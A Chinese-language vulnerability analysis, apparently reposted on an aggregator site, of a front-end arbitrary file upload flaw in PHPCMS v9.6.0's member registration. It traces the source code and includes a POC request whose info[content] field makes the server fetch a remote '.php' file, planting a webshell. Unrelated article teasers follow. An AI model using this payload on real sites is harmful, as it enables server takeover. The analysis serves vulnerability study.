PHPCMSv9.6.0前端任意文件上传漏洞分析

news2024/11/19 17:23:58

一、路径

漏洞分析:/index.php?m=member&c=index&a=register&siteid=1  前台注册页面处
路径: /phpcms/modules/member/index.php
注册处抓包:
POST /phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1

siteid=1&modelid=10&username=123456&password=123456&pwdconfirm=123456&email=123456%40qq.com&nickname=123456&info%5Bbirthday%5D=2022-04-28&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

在这里插入图片描述

二、分析

正常流程分析:
函数定位:register,代码做验证处理
在这里插入图片描述
接着往下走,有验证处理模块:
在这里插入图片描述
验证完毕没有重复后,接下来做获取会员信息的模块:传入info值

关键点:$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

在这里插入图片描述
根据下方get函数定位追踪:——> member_input.class.php
在这里插入图片描述
观察fields函数,追踪赋值,回到get函数,得知get是做了一个校验的操作。
校验结束之后,将表单插入数据库中:
在这里插入图片描述
观察数据库:
在这里插入图片描述

10——>birthday生日  11——>content内容
POC:
siteid=1&modelid=11&username=NSdemon&password=NSdemon123&pwdconfirm=123456&email=NSdemon@qq.com&info[content]=<img src=http://url/1.txt?.php#.jpg>& &dosubmit=1&protocol=

恶意代码存在info中
在这里插入图片描述
通过了array_map进行处理,追踪array_map分析:
new_html_special_chars做防XSS的过滤,对尖括号进行转义的方式。
在这里插入图片描述
往下走传入get中,$data最后传入value中,追踪value
在这里插入图片描述
截取长度的处理函数:
在这里插入图片描述
做了一个数据查询的处理:
在这里插入图片描述
处理完modelid函数后,追踪editor
在这里插入图片描述

$value = $this->attachment->download(‘content’, v a l u e , value, value,watermark_enable);
对传入的值做了一个处理操作,追踪下文: phpcms/libs/classes/attachment.class.php
在这里插入图片描述

做了一个后缀处理:gif|jpg|jpeg|bmp|png
s t r i n g = n e w s t r i p s l a s h e s ( string = new_stripslashes( string=newstripslashes(value);做了一个new_stripslashes处理
追踪查看: phpcms/libs/functions/global.func.php
在这里插入图片描述
做防止恶意代码
if(!preg_match_all(“/(href|src)=([|']?)([^ '>]+($ext))\2/i”, $string, $matches)) return $value; 做了正则处理,来校验后缀。
处理完后,将进入matches做处理:
在这里插入图片描述
用fillurl做了处理,追踪查看分析:/phpcms/libs/classes/attachment.class.php
在这里插入图片描述
核心问题代码:去掉了#处理,去掉了poc后的#.jpg
在这里插入图片描述
通过Okurl进行拼接,将原本的.php拼回给了url
在这里插入图片描述
最后将马加载去了服务器地址中,由此写入webshell。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/183525.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JVM是如何解决跨代引用问题的?

本文已收录至Github&#xff0c;推荐阅读 &#x1f449; Java随想录 不知道自己的无知&#xff0c;乃是双倍的无知。——柏拉图 文章目录跨代引用问题记忆集卡表写屏障写屏障的伪共享问题跨代引用问题 跨代引用是指新生代中存在对老年代对象的引用&#xff0c;或者老年代中存在…

TensorFlow笔记之卷积神经网络

文章目录前言一、卷积神经网络CNN二、Tensorflow1.x1.加载数据集2.数据处理3.定义模型4.训练模型5.结果可视化二、Tensorflow2.x1.加载数据集2.数据处理3.定义模型4.训练模型5.结果可视化总结前言 记录在tf1.x与tf2.x中使用卷积神经网络完成CIFAR-10数据集识别多分类任务&…

【ThreeJs 初学习】实现简单的场景渲染

简单的场景渲染 从今天开始进军 3D相关的技术。第一是因为项目需要&#xff0c;第二是因为年中的KPI目标。刚开始分享的内容会相对基础&#xff0c;望各位谅解。 根据官网的文档整理出一份API文档, 地址是&#xff1a;ThreeJs 官网文档&#xff0c;其目的还是为了方便查阅 1. …

移动应用测试流程

以下是这段时间测试手机app的流程总结。 从需求阶段开始介入。参加软件功能设计&#xff0c;在软件编码之前&#xff0c;在仍有可能大的设计变更的时候&#xff0c;积极参加软件的计划阶段&#xff0c;这会帮助我们了解正被考虑的折衷和权衡从而了解客户需要的产品的雏形。在此…

Docker部署oracle -11g

Docker部署oracle -11g 拉取镜像 docker pull registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g启动容器 docker run -d -p 1521:1521 --name oracle11g registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g执行 docker ps 命令确认容器启动成功 进行配置 &#xf…

蓝桥杯 分巧克力

题目描述 儿童节那天有 K 位小朋友到小明家做客。小明拿出了珍藏的巧克力招待小朋友们。 小明一共有 NN 块巧克力&#xff0c;其中第 ii 块是 H_i \times WiHi​Wi 的方格组成的长方形。为了公平起见&#xff0c; 小明需要从这 NN 块巧克力中切出 K 块巧克力分给小朋友们。切…

读书笔记:神经网络的学习 train_neuralnet.py ← 斋藤康毅

提醒&#xff1a;本例涉及到三个 Python 文件&#xff0c;即 two_layer_net.py&#xff0c;train_neuralnet.py&#xff0c;mnist.py 等。 显然&#xff0c;要进行神经网络的学习&#xff0c;必须先构建神经网络。 因此&#xff0c;本文先构建了一个2层神经网络。代码详见 two_…

玩转代码|解决Chrome浏览器内置谷歌翻译功能无法使用问题!

最近这几天在使用Chrome浏览器的内置谷歌翻译功能时&#xff0c;总是一直停留在不翻译的状态&#xff0c;一开始我还以为是网络波动过几天就好了&#xff0c;过了好几天依旧是这样。去看了新闻才知道谷歌翻译已经退出了中国市场。根据TechCrunch的消息称&#xff0c;谷歌发言人…

我本芬芳

我本芬芳推荐语&#xff1a; 读完前几章&#xff0c;一边为惠才遇人不淑感到遗憾&#xff0c;又不觉想起自己的童年种种&#xff0c;书中简单的三言两语&#xff0c;却又不断地在触动我。我不由得想到上世纪六七十年代的女子们&#xff0c;也就是我的奶奶外婆们&#xff0c;将自…

我的周刊(第076期)

我的信息周刊&#xff0c;记录这周我看到的有价值的信息&#xff0c;主要针对计算机领域&#xff0c;内容主题极大程度被我个人喜好主导。这个项目核心目的在于记录让自己有印象的信息做一个留存以及共享。&#x1f3af; 项目python-wechaty[1]Wechaty 是一个开源聊天机器人框架…

力扣刷题|226.翻转二叉树、101. 对称二叉树

文章目录LeetCode 226.翻转二叉树题目链接&#x1f517;思路递归法迭代法LeetCode 101. 对称二叉树题目链接&#x1f517;思路递归法迭代法相关题目LeetCode 226.翻转二叉树 题目链接&#x1f517; LeetCode 226.翻转二叉树 思路 这道题目使用前序遍历和后序遍历都可以&…

PVID和VID相关小知识

欢迎来到东用知识小课堂&#xff01;1.PVID和VID的区别PVID和VID经常出现于二、三层交换机里&#xff0c;很多时候由于PVID和VID的设置不合理&#xff0c;造成VLAN划分变得混乱。一般你去超市买东西有个扫描设备扫描一下商品上的标签&#xff0c;然后价格就会出现。商品上的标签…

分布式锁与数据库悲观、乐观锁

分布式锁 什么是分布式锁 要介绍分布式锁&#xff0c;首先要提到与分布式锁相对应的是线程锁、进程锁。 1.线程锁 主要用来给方法、代码块加锁。当某个方法或代码使用锁&#xff0c;在同一时刻仅有一个线程执行该方法或该代码段。线程锁只在同一JVM中有效果&#xff0c;因为…

Redis主从复制与读写分离

1、为什么要主从复制、读写分离Redis在作为缓存的时候&#xff0c;随着项目访问量的增加&#xff0c;对Redis服务器的操作也越加频繁&#xff0c;虽然Redis读写速度都很快&#xff0c;但是一定程度上也会造成一定的延时&#xff0c;甚至出现宕机的可能性&#xff0c;这时候就出…

如何使用知行之桥搭建SFTPServer

知行之桥EDI系统同时支持SFTP Server和SFTP Client功能&#xff0c;既可以作为SFTP Server供多个Client连接&#xff0c;也可以作为Client连接多个Server。无论是作为SFTP Server还是SFTP Client&#xff0c;都只需要简单的配置即可实现。 SFTP Server的特性包括一下几点&…

【React全家桶】react路由

react路由5.1. 路由的简介5.2 路由的基本使用5.3 路由组件与一般组件5.4 NavLink及其封装5.5 Switch5.6 路由的模糊匹配与严格匹配5.7 Redirect重定向5.8 向路由组件传递参数5.9 编程式路由导航5.10withRouter的使用5.12 BrowserRouter与HashRouter的区别5.1. 路由的简介 单页W…

代码随想录--二叉树章节总结 Part III

代码随想录–二叉树章节总结Part III 1.Leetcode106 从中序与后序遍历序列构造二叉树 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 解题思路…

【Go基础】并发编程

文章目录1. 并发模型2. Goroutine的使用3. Channel的同步与异步4. 并发安全性5. 多路复用6. 协程泄漏7. 协程管理1. 并发模型 任何语言的并行&#xff0c;到操作系统层面&#xff0c;都是内核线程的并行。同一个进程内的多个线程共享系统资源&#xff0c;进程的创建、销毁、切…

【监控开发】jps命令怎么远程调用另一个IP的机器,jstatd服务支持

jsp命令远程调用咩有Linux服务器启动jstatd服务的时候Linux服务器如何启动jstatd服务1.查找jdk所在目录2.在jdk的bin目录下创建文件jstatd.all.policy3.给这个文件赋权4.这个文件写入安全配置&#xff0c;赋值粘贴即可5.启动jstatd服务6.查看是否启动成功再去另外一台服务器调用…

第一章:Go语言为并发而生

在早期 CPU 都是以单核的形式顺序执行机器指令。Go语言的祖先C语言正是这种顺序编程语言的代表。顺序编程语言中的顺序是指&#xff1a;所有的指令都是以串行的方式执行&#xff0c;在相同的时刻有且仅有一个 CPU 在顺序执行程序的指令。 随着处理器技术的发展&#xff0c;单核…